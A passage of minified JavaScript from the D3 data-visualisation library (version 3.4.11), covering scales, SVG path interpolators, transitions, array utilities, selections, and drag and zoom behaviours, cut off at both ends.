arguments.length?(r=n,u()):r},i.quantiles=function(){return o},i.invertExtent=function(n){return n=r.indexOf(n),0>n?[0/0,0/0]:[n>0?o[n-1]:e[0],n<o.length?o[n]:e[e.length-1]]},i.copy=function(){return Wi(e,r)},u()}function Ji(n,t,e){function r(t){return e[Math.max(0,Math.min(o,Math.floor(i*(t-n))))]}function u(){return i=e.length/(t-n),o=e.length-1,r}var i,o;return r.domain=function(e){return arguments.length?(n=+e[0],t=+e[e.length-1],u()):[n,t]},r.range=function(n){return arguments.length?(e=n,u()):e},r.invertExtent=function(t){return t=e.indexOf(t),t=0>t?0/0:t/i+n,[t,t+1/i]},r.copy=function(){return Ji(n,t,e)},u()}function Gi(n,t){function e(e){return e>=e?t[Zo.bisect(n,e)]:void 0}return e.domain=function(t){return arguments.length?(n=t,e):n},e.range=function(n){return arguments.length?(t=n,e):t},e.invertExtent=function(e){return e=t.indexOf(e),[n[e-1],n[e]]},e.copy=function(){return Gi(n,t)},e}function Ki(n){function t(n){return+n}return t.invert=t,t.domain=t.range=function(e){return arguments.length?(n=e.map(t),t):n},t.ticks=function(t){return Oi(n,t)},t.tickFormat=function(t,e){return Yi(n,t,e)},t.copy=function(){return Ki(n)},t}function Qi(n){return n.innerRadius}function no(n){return n.outerRadius}function to(n){return n.startAngle}function eo(n){return n.endAngle}function ro(n){function t(t){function o(){s.push("M",i(n(l),a))}for(var c,s=[],l=[],f=-1,h=t.length,g=bt(e),p=bt(r);++f<h;)u.call(this,c=t[f],f)?l.push([+g.call(this,c,f),+p.call(this,c,f)]):l.length&&(o(),l=[]);return l.length&&o(),s.length?s.join(""):null}var e=wr,r=Sr,u=we,i=uo,o=i.key,a=.7;return t.x=function(n){return arguments.length?(e=n,t):e},t.y=function(n){return arguments.length?(r=n,t):r},t.defined=function(n){return arguments.length?(u=n,t):u},t.interpolate=function(n){return arguments.length?(o="function"==typeof n?i=n:(i=xs.get(n)||uo).key,t):o},t.tension=function(n){return arguments.length?(a=n,t):a},t}function uo(n){return n.join("L")}function io(n){return uo(n)+"Z"}function oo(n){for(var t=0,e=n.length,r=n[0],u=[r[0],",",r[1]];++t<e;)u.push("H",(r[0]+(r=n[t])[0])/2,"V",r[1]);return e>1&&u.push("H",r[0]),u.join("")}function ao(n){for(var t=0,e=n.length,r=n[0],u=[r[0],",",r[1]];++t<e;)u.push("V",(r=n[t])[1],"H",r[0]);return u.join("")}function co(n){for(var t=0,e=n.length,r=n[0],u=[r[0],",",r[1]];++t<e;)u.push("H",(r=n[t])[0],"V",r[1]);return u.join("")}function so(n,t){return n.length<4?uo(n):n[1]+ho(n.slice(1,n.length-1),go(n,t))}function lo(n,t){return n.length<3?uo(n):n[0]+ho((n.push(n[0]),n),go([n[n.length-2]].concat(n,[n[1]]),t))}function fo(n,t){return n.length<3?uo(n):n[0]+ho(n,go(n,t))}function ho(n,t){if(t.length<1||n.length!=t.length&&n.length!=t.length+2)return uo(n);var e=n.length!=t.length,r="",u=n[0],i=n[1],o=t[0],a=o,c=1;if(e&&(r+="Q"+(i[0]-2*o[0]/3)+","+(i[1]-2*o[1]/3)+","+i[0]+","+i[1],u=n[1],c=2),t.length>1){a=t[1],i=n[c],c++,r+="C"+(u[0]+o[0])+","+(u[1]+o[1])+","+(i[0]-a[0])+","+(i[1]-a[1])+","+i[0]+","+i[1];for(var s=2;s<t.length;s++,c++)i=n[c],a=t[s],r+="S"+(i[0]-a[0])+","+(i[1]-a[1])+","+i[0]+","+i[1]}if(e){var l=n[c];r+="Q"+(i[0]+2*a[0]/3)+","+(i[1]+2*a[1]/3)+","+l[0]+","+l[1]}return r}function go(n,t){for(var e,r=[],u=(1-t)/2,i=n[0],o=n[1],a=1,c=n.length;++a<c;)e=i,i=o,o=n[a],r.push([u*(o[0]-e[0]),u*(o[1]-e[1])]);return r}function po(n){if(n.length<3)return uo(n);var t=1,e=n.length,r=n[0],u=r[0],i=r[1],o=[u,u,u,(r=n[1])[0]],a=[i,i,i,r[1]],c=[u,",",i,"L",xo(bs,o),",",xo(bs,a)];for(n.push(n[e-1]);++t<=e;)r=n[t],o.shift(),o.push(r[0]),a.shift(),a.push(r[1]),Mo(c,o,a);return n.pop(),c.push("L",r),c.join("")}function vo(n){if(n.length<4)return uo(n);for(var t,e=[],r=-1,u=n.length,i=[0],o=[0];++r<3;)t=n[r],i.push(t[0]),o.push(t[1]);for(e.push(xo(bs,i)+","+xo(bs,o)),--r;++r<u;)t=n[r],i.shift(),i.push(t[0]),o.shift(),o.push(t[1]),Mo(e,i,o);return e.join("")}function mo(n){for(var t,e,r=-1,u=n.length,i=u+4,o=[],a=[];++r<4;)e=n[r%u],o.push(e[0]),a.push(e[1]);for(t=[xo(bs,o),",",xo(bs,a)],--r;++r<i;)e=n[r%u],o.shift(),o.push(e[0]),a.shift(),a.push(e[1]),Mo(t,o,a);return t.join("")}function yo(n,t){var e=n.length-1;if(e)for(var r,u,i=n[0][0],o=n[0][1],a=n[e][0]-i,c=n[e][1]-o,s=-1;++s<=e;)r=n[s],u=s/e,r[0]=t*r[0]+(1-t)*(i+u*a),r[1]=t*r[1]+(1-t)*(o+u*c);return po(n)}function xo(n,t){return n[0]*t[0]+n[1]*t[1]+n[2]*t[2]+n[3]*t[3]}function Mo(n,t,e){n.push("C",xo(Ms,t),",",xo(Ms,e),",",xo(_s,t),",",xo(_s,e),",",xo(bs,t),",",xo(bs,e))}function _o(n,t){return(t[1]-n[1])/(t[0]-n[0])}function bo(n){for(var t=0,e=n.length-1,r=[],u=n[0],i=n[1],o=r[0]=_o(u,i);++t<e;)r[t]=(o+(o=_o(u=i,i=n[t+1])))/2;return r[t]=o,r}function wo(n){for(var t,e,r,u,i=[],o=bo(n),a=-1,c=n.length-1;++a<c;)t=_o(n[a],n[a+1]),ua(t)<ka?o[a]=o[a+1]=0:(e=o[a]/t,r=o[a+1]/t,u=e*e+r*r,u>9&&(u=3*t/Math.sqrt(u),o[a]=u*e,o[a+1]=u*r));for(a=-1;++a<=c;)u=(n[Math.min(c,a+1)][0]-n[Math.max(0,a-1)][0])/(6*(1+o[a]*o[a])),i.push([u||0,o[a]*u||0]);return i}function So(n){return n.length<3?uo(n):n[0]+ho(n,wo(n))}function ko(n){for(var t,e,r,u=-1,i=n.length;++u<i;)t=n[u],e=t[0],r=t[1]+ms,t[0]=e*Math.cos(r),t[1]=e*Math.sin(r);return n}function Eo(n){function t(t){function c(){v.push("M",a(n(m),f),l,s(n(d.reverse()),f),"Z")}for(var h,g,p,v=[],d=[],m=[],y=-1,x=t.length,M=bt(e),_=bt(u),b=e===r?function(){return g}:bt(r),w=u===i?function(){return p}:bt(i);++y<x;)o.call(this,h=t[y],y)?(d.push([g=+M.call(this,h,y),p=+_.call(this,h,y)]),m.push([+b.call(this,h,y),+w.call(this,h,y)])):d.length&&(c(),d=[],m=[]);return d.length&&c(),v.length?v.join(""):null}var e=wr,r=wr,u=0,i=Sr,o=we,a=uo,c=a.key,s=a,l="L",f=.7;return t.x=function(n){return arguments.length?(e=r=n,t):r},t.x0=function(n){return arguments.length?(e=n,t):e},t.x1=function(n){return arguments.length?(r=n,t):r},t.y=function(n){return arguments.length?(u=i=n,t):i},t.y0=function(n){return arguments.length?(u=n,t):u},t.y1=function(n){return arguments.length?(i=n,t):i},t.defined=function(n){return arguments.length?(o=n,t):o},t.interpolate=function(n){return arguments.length?(c="function"==typeof n?a=n:(a=xs.get(n)||uo).key,s=a.reverse||a,l=a.closed?"M":"L",t):c},t.tension=function(n){return arguments.length?(f=n,t):f},t}function Ao(n){return n.radius}function Co(n){return[n.x,n.y]}function No(n){return function(){var t=n.apply(this,arguments),e=t[0],r=t[1]+ms;return[e*Math.cos(r),e*Math.sin(r)]}}function zo(){return 64}function Lo(){return"circle"}function To(n){var t=Math.sqrt(n/ba);return"M0,"+t+"A"+t+","+t+" 0 1,1 0,"+-t+"A"+t+","+t+" 0 1,1 0,"+t+"Z"}function qo(n,t){return sa(n,Cs),n.id=t,n}function Ro(n,t,e,r){var u=n.id;return P(n,"function"==typeof e?function(n,i,o){n.__transition__[u].tween.set(t,r(e.call(n,n.__data__,i,o)))}:(e=r(e),function(n){n.__transition__[u].tween.set(t,e)}))}function Do(n){return null==n&&(n=""),function(){this.textContent=n}}function Po(n,t,e,r){var u=n.__transition__||(n.__transition__={active:0,count:0}),i=u[e];if(!i){var a=r.time;i=u[e]={tween:new o,time:a,ease:r.ease,delay:r.delay,duration:r.duration},++u.count,Zo.timer(function(r){function o(r){return u.active>e?s():(u.active=e,i.event&&i.event.start.call(n,l,t),i.tween.forEach(function(e,r){(r=r.call(n,l,t))&&v.push(r)}),Zo.timer(function(){return p.c=c(r||1)?we:c,1},0,a),void 0)}function c(r){if(u.active!==e)return s();for(var o=r/g,a=f(o),c=v.length;c>0;)v[--c].call(n,a);
2 return o>=1?(i.event&&i.event.end.call(n,l,t),s()):void 0}function s(){return--u.count?delete u[e]:delete n.__transition__,1}var l=n.__data__,f=i.ease,h=i.delay,g=i.duration,p=Ba,v=[];return p.t=h+a,r>=h?o(r-h):(p.c=o,void 0)},0,a)}}function Uo(n,t){n.attr("transform",function(n){return"translate("+t(n)+",0)"})}function jo(n,t){n.attr("transform",function(n){return"translate(0,"+t(n)+")"})}function Ho(n){return n.toISOString()}function Fo(n,t,e){function r(t){return n(t)}function u(n,e){var r=n[1]-n[0],u=r/e,i=Zo.bisect(Us,u);return i==Us.length?[t.year,Fi(n.map(function(n){return n/31536e6}),e)[2]]:i?t[u/Us[i-1]<Us[i]/u?i-1:i]:[Fs,Fi(n,e)[2]]}return r.invert=function(t){return Oo(n.invert(t))},r.domain=function(t){return arguments.length?(n.domain(t),r):n.domain().map(Oo)},r.nice=function(n,t){function e(e){return!isNaN(e)&&!n.range(e,Oo(+e+1),t).length}var i=r.domain(),o=Li(i),a=null==n?u(o,10):"number"==typeof n&&u(o,n);return a&&(n=a[0],t=a[1]),r.domain(Ri(i,t>1?{floor:function(t){for(;e(t=n.floor(t));)t=Oo(t-1);return t},ceil:function(t){for(;e(t=n.ceil(t));)t=Oo(+t+1);return t}}:n))},r.ticks=function(n,t){var e=Li(r.domain()),i=null==n?u(e,10):"number"==typeof n?u(e,n):!n.range&&[{range:n},t];return i&&(n=i[0],t=i[1]),n.range(e[0],Oo(+e[1]+1),1>t?1:t)},r.tickFormat=function(){return e},r.copy=function(){return Fo(n.copy(),t,e)},ji(r,n)}function Oo(n){return new Date(n)}function Yo(n){return JSON.parse(n.responseText)}function Io(n){var t=$o.createRange();return t.selectNode($o.body),t.createContextualFragment(n.responseText)}var Zo={version:"3.4.11"};Date.now||(Date.now=function(){return+new Date});var Vo=[].slice,Xo=function(n){return Vo.call(n)},$o=document,Bo=$o.documentElement,Wo=window;try{Xo(Bo.childNodes)[0].nodeType}catch(Jo){Xo=function(n){for(var t=n.length,e=new Array(t);t--;)e[t]=n[t];return e}}try{$o.createElement("div").style.setProperty("opacity",0,"")}catch(Go){var Ko=Wo.Element.prototype,Qo=Ko.setAttribute,na=Ko.setAttributeNS,ta=Wo.CSSStyleDeclaration.prototype,ea=ta.setProperty;Ko.setAttribute=function(n,t){Qo.call(this,n,t+"")},Ko.setAttributeNS=function(n,t,e){na.call(this,n,t,e+"")},ta.setProperty=function(n,t,e){ea.call(this,n,t+"",e)}}Zo.ascending=n,Zo.descending=function(n,t){return n>t?-1:t>n?1:t>=n?0:0/0},Zo.min=function(n,t){var e,r,u=-1,i=n.length;if(1===arguments.length){for(;++u<i&&!(null!=(e=n[u])&&e>=e);)e=void 0;for(;++u<i;)null!=(r=n[u])&&e>r&&(e=r)}else{for(;++u<i&&!(null!=(e=t.call(n,n[u],u))&&e>=e);)e=void 0;for(;++u<i;)null!=(r=t.call(n,n[u],u))&&e>r&&(e=r)}return e},Zo.max=function(n,t){var e,r,u=-1,i=n.length;if(1===arguments.length){for(;++u<i&&!(null!=(e=n[u])&&e>=e);)e=void 0;for(;++u<i;)null!=(r=n[u])&&r>e&&(e=r)}else{for(;++u<i&&!(null!=(e=t.call(n,n[u],u))&&e>=e);)e=void 0;for(;++u<i;)null!=(r=t.call(n,n[u],u))&&r>e&&(e=r)}return e},Zo.extent=function(n,t){var e,r,u,i=-1,o=n.length;if(1===arguments.length){for(;++i<o&&!(null!=(e=u=n[i])&&e>=e);)e=u=void 0;for(;++i<o;)null!=(r=n[i])&&(e>r&&(e=r),r>u&&(u=r))}else{for(;++i<o&&!(null!=(e=u=t.call(n,n[i],i))&&e>=e);)e=void 0;for(;++i<o;)null!=(r=t.call(n,n[i],i))&&(e>r&&(e=r),r>u&&(u=r))}return[e,u]},Zo.sum=function(n,t){var e,r=0,u=n.length,i=-1;if(1===arguments.length)for(;++i<u;)isNaN(e=+n[i])||(r+=e);else for(;++i<u;)isNaN(e=+t.call(n,n[i],i))||(r+=e);return r},Zo.mean=function(n,e){var r,u=0,i=n.length,o=-1,a=i;if(1===arguments.length)for(;++o<i;)t(r=n[o])?u+=r:--a;else for(;++o<i;)t(r=e.call(n,n[o],o))?u+=r:--a;return a?u/a:void 0},Zo.quantile=function(n,t){var e=(n.length-1)*t+1,r=Math.floor(e),u=+n[r-1],i=e-r;return i?u+i*(n[r]-u):u},Zo.median=function(e,r){return arguments.length>1&&(e=e.map(r)),e=e.filter(t),e.length?Zo.quantile(e.sort(n),.5):void 0};var ra=e(n);Zo.bisectLeft=ra.left,Zo.bisect=Zo.bisectRight=ra.right,Zo.bisector=function(t){return e(1===t.length?function(e,r){return n(t(e),r)}:t)},Zo.shuffle=function(n){for(var t,e,r=n.length;r;)e=0|Math.random()*r--,t=n[r],n[r]=n[e],n[e]=t;return n},Zo.permute=function(n,t){for(var e=t.length,r=new Array(e);e--;)r[e]=n[t[e]];return r},Zo.pairs=function(n){for(var t,e=0,r=n.length-1,u=n[0],i=new Array(0>r?0:r);r>e;)i[e]=[t=u,u=n[++e]];return i},Zo.zip=function(){if(!(u=arguments.length))return[];for(var n=-1,t=Zo.min(arguments,r),e=new Array(t);++n<t;)for(var u,i=-1,o=e[n]=new Array(u);++i<u;)o[i]=arguments[i][n];return e},Zo.transpose=function(n){return Zo.zip.apply(Zo,n)},Zo.keys=function(n){var t=[];for(var e in n)t.push(e);return t},Zo.values=function(n){var t=[];for(var e in n)t.push(n[e]);return t},Zo.entries=function(n){var t=[];for(var e in n)t.push({key:e,value:n[e]});return t},Zo.merge=function(n){for(var t,e,r,u=n.length,i=-1,o=0;++i<u;)o+=n[i].length;for(e=new Array(o);--u>=0;)for(r=n[u],t=r.length;--t>=0;)e[--o]=r[t];return e};var ua=Math.abs;Zo.range=function(n,t,e){if(arguments.length<3&&(e=1,arguments.length<2&&(t=n,n=0)),1/0===(t-n)/e)throw new Error("infinite range");var r,i=[],o=u(ua(e)),a=-1;if(n*=o,t*=o,e*=o,0>e)for(;(r=n+e*++a)>t;)i.push(r/o);else for(;(r=n+e*++a)<t;)i.push(r/o);return i},Zo.map=function(n){var t=new o;if(n instanceof o)n.forEach(function(n,e){t.set(n,e)});else for(var e in n)t.set(e,n[e]);return t},i(o,{has:a,get:function(n){return this[ia+n]},set:function(n,t){return this[ia+n]=t},remove:c,keys:s,values:function(){var n=[];return this.forEach(function(t,e){n.push(e)}),n},entries:function(){var n=[];return this.forEach(function(t,e){n.push({key:t,value:e})}),n},size:l,empty:f,forEach:function(n){for(var t in this)t.charCodeAt(0)===oa&&n.call(this,t.substring(1),this[t])}});var ia="\x00",oa=ia.charCodeAt(0);Zo.nest=function(){function n(t,a,c){if(c>=i.length)return r?r.call(u,a):e?a.sort(e):a;for(var s,l,f,h,g=-1,p=a.length,v=i[c++],d=new o;++g<p;)(h=d.get(s=v(l=a[g])))?h.push(l):d.set(s,[l]);return t?(l=t(),f=function(e,r){l.set(e,n(t,r,c))}):(l={},f=function(e,r){l[e]=n(t,r,c)}),d.forEach(f),l}function t(n,e){if(e>=i.length)return n;var r=[],u=a[e++];return n.forEach(function(n,u){r.push({key:n,values:t(u,e)})}),u?r.sort(function(n,t){return u(n.key,t.key)}):r}var e,r,u={},i=[],a=[];return u.map=function(t,e){return n(e,t,0)},u.entries=function(e){return t(n(Zo.map,e,0),0)},u.key=function(n){return i.push(n),u},u.sortKeys=function(n){return a[i.length-1]=n,u},u.sortValues=function(n){return e=n,u},u.rollup=function(n){return r=n,u},u},Zo.set=function(n){var t=new h;if(n)for(var e=0,r=n.length;r>e;++e)t.add(n[e]);return t},i(h,{has:a,add:function(n){return this[ia+n]=!0,n},remove:function(n){return n=ia+n,n in this&&delete this[n]},values:s,size:l,empty:f,forEach:function(n){for(var t in this)t.charCodeAt(0)===oa&&n.call(this,t.substring(1))}}),Zo.behavior={},Zo.rebind=function(n,t){for(var e,r=1,u=arguments.length;++r<u;)n[e=arguments[r]]=g(n,t,t[e]);return n};var aa=["webkit","ms","moz","Moz","o","O"];Zo.dispatch=function(){for(var n=new d,t=-1,e=arguments.length;++t<e;)n[arguments[t]]=m(n);return n},d.prototype.on=function(n,t){var e=n.indexOf("."),r="";if(e>=0&&(r=n.substring(e+1),n=n.substring(0,e)),n)return arguments.length<2?this[n].on(r):this[n].on(r,t);if(2===arguments.length){if(null==t)for(n in this)this.hasOwnProperty(n)&&this[n].on(r,null);return this}},Zo.event=null,Zo.requote=function(n){return n.replace(ca,"\\$&")};var ca=/[\\\^\$\*\+\?\|\[\]\(\)\.\{\}]/g,sa={}.__proto__?function(n,t){n.__proto__=t}:function(n,t){for(var e in t)n[e]=t[e]},la=function(n,t){return t.querySelector(n)},fa=function(n,t){return t.querySelectorAll(n)},ha=Bo.matches||Bo[p(Bo,"matchesSelector")],ga=function(n,t){return ha.call(n,t)};"function"==typeof Sizzle&&(la=function(n,t){return Sizzle(n,t)[0]||null},fa=Sizzle,ga=Sizzle.matchesSelector),Zo.selection=function(){return ma};var pa=Zo.selection.prototype=[];pa.select=function(n){var t,e,r,u,i=[];n=b(n);for(var o=-1,a=this.length;++o<a;){i.push(t=[]),t.parentNode=(r=this[o]).parentNode;for(var c=-1,s=r.length;++c<s;)(u=r[c])?(t.push(e=n.call(u,u.__data__,c,o)),e&&"__data__"in u&&(e.__data__=u.__data__)):t.push(null)}return _(i)},pa.selectAll=function(n){var t,e,r=[];n=w(n);for(var u=-1,i=this.length;++u<i;)for(var o=this[u],a=-1,c=o.length;++a<c;)(e=o[a])&&(r.push(t=Xo(n.call(e,e.__data__,a,u))),t.parentNode=e);return _(r)};var va={svg:"http://www.w3.org/2000/svg",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"};Zo.ns={prefix:va,qualify:function(n){var t=n.indexOf(":"),e=n;return t>=0&&(e=n.substring(0,t),n=n.substring(t+1)),va.hasOwnProperty(e)?{space:va[e],local:n}:n}},pa.attr=function(n,t){if(arguments.length<2){if("string"==typeof n){var e=this.node();return n=Zo.ns.qualify(n),n.local?e.getAttributeNS(n.space,n.local):e.getAttribute(n)}for(t in n)this.each(S(t,n[t]));return this}return this.each(S(n,t))},pa.classed=function(n,t){if(arguments.length<2){if("string"==typeof n){var e=this.node(),r=(n=A(n)).length,u=-1;if(t=e.classList){for(;++u<r;)if(!t.contains(n[u]))return!1}else for(t=e.getAttribute("class");++u<r;)if(!E(n[u]).test(t))return!1;return!0}for(t in n)this.each(C(t,n[t]));return this}return this.each(C(n,t))},pa.style=function(n,t,e){var r=arguments.length;if(3>r){if("string"!=typeof n){2>r&&(t="");for(e in n)this.each(z(e,n[e],t));return this}if(2>r)return Wo.getComputedStyle(this.node(),null).getPropertyValue(n);e=""}return this.each(z(n,t,e))},pa.property=function(n,t){if(arguments.length<2){if("string"==typeof n)return this.node()[n];for(t in n)this.each(L(t,n[t]));return this}return this.each(L(n,t))},pa.text=function(n){return arguments.length?this.each("function"==typeof n?function(){var t=n.apply(this,arguments);this.textContent=null==t?"":t}:null==n?function(){this.textContent=""}:function(){this.textContent=n}):this.node().textContent},pa.html=function(n){return arguments.length?this.each("function"==typeof n?function(){var t=n.apply(this,arguments);this.innerHTML=null==t?"":t}:null==n?function(){this.innerHTML=""}:function(){this.innerHTML=n}):this.node().innerHTML},pa.append=function(n){return n=T(n),this.select(function(){return this.appendChild(n.apply(this,arguments))})},pa.insert=function(n,t){return n=T(n),t=b(t),this.select(function(){return this.insertBefore(n.apply(this,arguments),t.apply(this,arguments)||null)})},pa.remove=function(){return this.each(function(){var n=this.parentNode;n&&n.removeChild(this)})},pa.data=function(n,t){function e(n,e){var r,u,i,a=n.length,f=e.length,h=Math.min(a,f),g=new Array(f),p=new Array(f),v=new Array(a);if(t){var d,m=new o,y=new o,x=[];for(r=-1;++r<a;)d=t.call(u=n[r],u.__data__,r),m.has(d)?v[r]=u:m.set(d,u),x.push(d);for(r=-1;++r<f;)d=t.call(e,i=e[r],r),(u=m.get(d))?(g[r]=u,u.__data__=i):y.has(d)||(p[r]=q(i)),y.set(d,i),m.remove(d);for(r=-1;++r<a;)m.has(x[r])&&(v[r]=n[r])}else{for(r=-1;++r<h;)u=n[r],i=e[r],u?(u.__data__=i,g[r]=u):p[r]=q(i);for(;f>r;++r)p[r]=q(e[r]);for(;a>r;++r)v[r]=n[r]}p.update=g,p.parentNode=g.parentNode=v.parentNode=n.parentNode,c.push(p),s.push(g),l.push(v)}var r,u,i=-1,a=this.length;if(!arguments.length){for(n=new Array(a=(r=this[0]).length);++i<a;)(u=r[i])&&(n[i]=u.__data__);return n}var c=U([]),s=_([]),l=_([]);if("function"==typeof n)for(;++i<a;)e(r=this[i],n.call(r,r.parentNode.__data__,i));else for(;++i<a;)e(r=this[i],n);return s.enter=function(){return c},s.exit=function(){return l},s},pa.datum=function(n){return arguments.length?this.property("__data__",n):this.property("__data__")},pa.filter=function(n){var t,e,r,u=[];"function"!=typeof n&&(n=R(n));for(var i=0,o=this.length;o>i;i++){u.push(t=[]),t.parentNode=(e=this[i]).parentNode;for(var a=0,c=e.length;c>a;a++)(r=e[a])&&n.call(r,r.__data__,a,i)&&t.push(r)}return _(u)},pa.order=function(){for(var n=-1,t=this.length;++n<t;)for(var e,r=this[n],u=r.length-1,i=r[u];--u>=0;)(e=r[u])&&(i&&i!==e.nextSibling&&i.parentNode.insertBefore(e,i),i=e);return this},pa.sort=function(n){n=D.apply(this,arguments);for(var t=-1,e=this.length;++t<e;)this[t].sort(n);return this.order()},pa.each=function(n){return P(this,function(t,e,r){n.call(t,t.__data__,e,r)})},pa.call=function(n){var t=Xo(arguments);return n.apply(t[0]=this,t),this},pa.empty=function(){return!this.node()},pa.node=function(){for(var n=0,t=this.length;t>n;n++)for(var e=this[n],r=0,u=e.length;u>r;r++){var i=e[r];if(i)return i}return null},pa.size=function(){var n=0;return this.each(function(){++n}),n};var da=[];Zo.selection.enter=U,Zo.selection.enter.prototype=da,da.append=pa.append,da.empty=pa.empty,da.node=pa.node,da.call=pa.call,da.size=pa.size,da.select=function(n){for(var t,e,r,u,i,o=[],a=-1,c=this.length;++a<c;){r=(u=this[a]).update,o.push(t=[]),t.parentNode=u.parentNode;for(var s=-1,l=u.length;++s<l;)(i=u[s])?(t.push(r[s]=e=n.call(u.parentNode,i.__data__,s,a)),e.__data__=i.__data__):t.push(null)}return _(o)},da.insert=function(n,t){return arguments.length<2&&(t=j(this)),pa.insert.call(this,n,t)},pa.transition=function(){for(var n,t,e=Ss||++Ns,r=[],u=ks||{time:Date.now(),ease:xu,delay:0,duration:250},i=-1,o=this.length;++i<o;){r.push(n=[]);for(var a=this[i],c=-1,s=a.length;++c<s;)(t=a[c])&&Po(t,c,e,u),n.push(t)}return qo(r,e)},pa.interrupt=function(){return this.each(H)},Zo.select=function(n){var t=["string"==typeof n?la(n,$o):n];return t.parentNode=Bo,_([t])},Zo.selectAll=function(n){var t=Xo("string"==typeof n?fa(n,$o):n);return t.parentNode=Bo,_([t])};var ma=Zo.select(Bo);pa.on=function(n,t,e){var r=arguments.length;if(3>r){if("string"!=typeof n){2>r&&(t=!1);for(e in n)this.each(F(e,n[e],t));return this}if(2>r)return(r=this.node()["__on"+n])&&r._;e=!1}return this.each(F(n,t,e))};var ya=Zo.map({mouseenter:"mouseover",mouseleave:"mouseout"});ya.forEach(function(n){"on"+n in $o&&ya.remove(n)});var xa="onselectstart"in $o?null:p(Bo.style,"userSelect"),Ma=0;Zo.mouse=function(n){return Z(n,x())};var _a=/WebKit/.test(Wo.navigator.userAgent)?-1:0;Zo.touches=function(n,t){return arguments.length<2&&(t=x().touches),t?Xo(t).map(function(t){var e=Z(n,t);return e.identifier=t.identifier,e}):[]},Zo.behavior.drag=function(){function n(){this.on("mousedown.drag",u).on("touchstart.drag",i)}function t(n,t,u,i,o){return function(){function a(){var n,e,r=t(h,v);r&&(n=r[0]-x[0],e=r[1]-x[1],p|=n|e,x=r,g({type:"drag",x:r[0]+s[0],y:r[1]+s[1],dx:n,dy:e}))}function c(){t(h,v)&&(m.on(i+d,null).on(o+d,null),y(p&&Zo.event.target===f),g({type:"dragend"}))}var s,l=this,f=Zo.event.target,h=l.parentNode,g=e.of(l,arguments),p=0,v=n(),d=".drag"+(null==v?"":"-"+v),m=Zo.select(u()).on(i+d,a).on(o+d,c),y=I(),x=t(h,v);r?(s=r.apply(l,arguments),s=[s.x-x[0],s.y-x[1]]):s=[0,0],g({type:"dragstart"})}}var e=M(n,"drag","dragstart","dragend"),r=null,u=t(v,Zo.mouse,$,"mousemove","mouseup"),i=t(V,Zo.touch,X,"touchmove","touchend");return n.origin=function(t){return arguments.length?(r=t,n):r},Zo.rebind(n,e,"on")};var ba=Math.PI,wa=2*ba,Sa=ba/2,ka=1e-6,Ea=ka*ka,Aa=ba/180,Ca=180/ba,Na=Math.SQRT2,za=2,La=4;Zo.interpolateZoom=function(n,t){function e(n){var t=n*y;if(m){var e=Q(v),o=i/(za*h)*(e*nt(Na*t+v)-K(v));return[r+o*s,u+o*l,i*e/Q(Na*t+v)]}return[r+n*s,u+n*l,i*Math.exp(Na*t)]}var r=n[0],u=n[1],i=n[2],o=t[0],a=t[1],c=t[2],s=o-r,l=a-u,f=s*s+l*l,h=Math.sqrt(f),g=(c*c-i*i+La*f)/(2*i*za*h),p=(c*c-i*i-La*f)/(2*c*za*h),v=Math.log(Math.sqrt(g*g+1)-g),d=Math.log(Math.sqrt(p*p+1)-p),m=d-v,y=(m||Math.log(c/i))/Na;return e.duration=1e3*y,e},Zo.behavior.zoom=function(){function n(n){n.on(A,s).on(Ra+".zoom",f).on("dblclick.zoom",h).on(z,l)}function t(n){return[(n[0]-S.x)/S.k,(n[1]-S.y)/S.k]}function e(n){return[n[0]*S.k+S.x,n[1]*S.k+S.y]}function r(n){S.k=Math.max(E[0],Math.min(E[1],n))}function u(n,t){t=e(t),S.x+=n[0]-t[0],S.y+=n[1]-t[1]}function i(){_&&_.domain(x.range().map(function(n){return(n-S.x)/S.k}).map(x.invert)),w&&w.domain(b.range().map(function(n){return(n-S.y)/S.k}).map(b.invert))}function o(n){n({type:"zoomstart"})}function a(n){i(),n({type:"zoom",scale:S.k,translate:[S.x,S.y]})}function c(n){n({type:"zoomend"})}function s(){function n(){l=1,u(Zo.mouse(r),h),a(s)}function e(){f.on(C,null).on(N,null),g(l&&Zo.event.target===i),c(s)}var r=this,i=Zo.event.target,s=L.of(r,arguments),l=0,f=Zo.select(Wo).on(C,n).on(N,e),h=t(Zo.mouse(r)),g=I();H.call(r),o(s)}function l(){function n(){var n=Zo.touches(g);return h=S.k,n.forEach(function(n){n.identifier in v&&(v[n.identifier]=t(n))}),n}function e(){var t=Zo.event.target;Zo.select(t).on(M,i).on(_,f),b.push(t);for(var e=Zo.event.changedTouches,o=0,c=e.length;c>o;++o)v[e[o].identifier]=null;var s=n(),l=Date.now();if(1===s.length){if(500>l-m){var h=s[0],g=v[h.identifier];r(2*S.k),u(h,g),y(),a(p)}m=l}else if(s.length>1){var h=s[0],x=s[1],w=h[0]-x[0],k=h[1]-x[1];d=w*w+k*k}}function i(){for(var n,t,e,i,o=Zo.touches(g),c=0,s=o.length;s>c;++c,i=null)if(e=o[c],i=v[e.identifier]){if(t)break;n=e,t=i}if(i){var l=(l=e[0]-n[0])*l+(l=e[1]-n[1])*l,f=d&&Math.sqrt(l/d);n=[(n[0]+e[0])/2,(n[1]+e[1])/2],t=[(t[0]+i[0])/2,(t[1]+i[1])/2],r(f*h)}m=null,u(n,t),a(p)}function f(){if(Zo.event.touches.length){for(var t=Zo.event.changedTouches,e=0,r=t.length;r>e;++e)delete v[t[e].identifier];for(var u in v)return void n()}Zo.selectAll(b).on(x,null),w.on(A,s).on(z,l),k(),c(p)}var h,g=this,p=L.of(g,arguments),v={},d=0,x=".zoom-"+Zo.event.changedTouches[0].identifier,M="touchmove"+x,_="touchend"+x,b=[],w=Zo.select(g).on(A,null).on(z,e),k=I();H.call(g),e(),o(p)}function f(){var n=L.of(this,arguments);d?clearTimeout(d):(g=t(p=v||Zo.mouse(this)),H.call(this),o(n)),d=setTimeout(function(){d=null,c(n)},50),y(),r(Math.pow(2,.002*Ta())*S.k),u(p,g),a(n)}function h(){var n=L.of(this,arguments),e=Zo.mouse(this),i=t(e),s=Math.log(S.k)/Math.LN2;o(n),r(Math.pow(2,Zo.event.shiftKey?Math.ceil(s)-1:Math.floor(s)+1)),u(e,i),a(n),c(n)}var g,p,v,d,m,x,_,b,w,S={x:0,y:0,k:1},k=[960,500],E=qa,A="mousedown.zoom",C="mousemove.zoom",N="mouseup.zoom",z="touchstart.zoom",L=M(n,"zoomstart","zoom","zoomend");return n.event=function(n){n.each(function(){var 